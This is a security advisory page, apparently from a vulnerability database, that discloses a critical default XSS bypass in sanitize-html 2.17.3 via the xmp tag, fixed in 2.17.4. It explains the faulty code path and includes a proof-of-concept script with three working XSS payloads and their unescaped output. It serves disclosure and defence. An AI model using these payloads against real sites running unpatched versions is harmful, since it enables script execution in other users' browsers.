Critical

Apostrophe has default XSS via `xmp` raw-text passthrough in `sanitize-html`

  • Disclosed: 14.05.2026
  • Updated: 11.10.2026 10:22

Summary

Under the default configuration, sanitize-html can turn attacker-controlled content inside a disallowed xmp element into live HTML or JavaScript. This is a sanitizer bypass in the default disallowedTagsMode: 'discard' path and can lead to stored XSS in applications that render sanitized output back to users.

Details

In sanitize-html@2.17.3, the default nonTextTags list includes only script, style, textarea, and option in index.js lines 138-142. That means disallowed xmp tags are not treated as "drop the entire contents" tags.

Later, in the ontext handler at index.js lines 569-577, the code special-cases textarea and xmp and appends their text content directly to the output without escaping:

js
} else if ((options.disallowedTagsMode === 'discard' || options.disallowedTagsMode === 'completelyDiscard') && (tag === 'textarea' || tag === 'xmp')) {
  result += text;
}

Because htmlparser2 treats xmp as a raw-text element, markup inside xmp is parsed as text on input but becomes live markup again once it is appended unescaped to the sanitized output.

This creates a default sanitizer bypass. For example, a disallowed <xmp> wrapper can be used to smuggle <script> or event-handler payloads through sanitization.

The README also appears to contradict the implementation. In the "Discarding the entire contents of a disallowed tag" section, the documented exception list names only style, script, textarea, and option, and does not mention xmp.

PoC

Tested locally against sanitize-html@2.17.3 on Node.js v25.2.1.

  1. Install the package:
bash
npm install sanitize-html
  1. Run the following script:
js
const sanitizeHtml = require('sanitize-html');

console.log(sanitizeHtml('<xmp><script>alert(1)</script></xmp>'));
console.log(sanitizeHtml('<xmp><img src=x onerror=alert(1)></xmp>'));
console.log(sanitizeHtml('<xmp><svg><script>alert(1)</script></svg></xmp>'));
  1. Observed output:
html
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg><script>alert(1)</script></svg>
  1. Render any of the returned strings in a browser context that trusts sanitize-html output, for example:
js
const dirty = '<xmp><script>alert(1)</script></xmp>';
const clean = sanitizeHtml(dirty);

If clean is inserted into the DOM or stored and later rendered as trusted HTML, the attacker-controlled script executes.

Impact

This is a cross-site scripting vulnerability in the default sanitizer behavior. Any application that uses sanitize-html defaults and then renders the returned HTML as trusted output is impacted. A remote attacker who can submit HTML content can trigger execution of arbitrary JavaScript in another user's browser when that content is viewed.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
npm package sanitize-html >= 2.17.3, < 2.17.4 2.17.4

References

CVSS score 9.3/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
Weakness (CWE)
CWE-79
Platform
npm
Package
sanitize-html
Disclosed
14.05.2026
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-rpr9-rxv7-x643 - CC BY 4.0

Vulnerability history: sanitize-html

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (15) in the archive
Total entries
15
First → latest
11.2018 10.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Critical 1
  • High 1
  • Medium 12
  • Low 1

Disclosures per year

  1. 2018: 2
  2. 2019: 0
  3. 2020: 1
  4. 2021: 2
  5. 2022: 1
  6. 2023: 0
  7. 2024: 1
  8. 2025: 1
  9. 2026: 7
Severity:
  1. Apostrophe has default XSS via `xmp` raw-text passthrough in `sanitize-html` this entry
    Critical · 9.3 CVE-2026-44990 >= 2.17.3, < 2.17.4 2.17.4
  2. High · 7.5 CVE-2022-25887 < 2.7.1 2.7.1

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.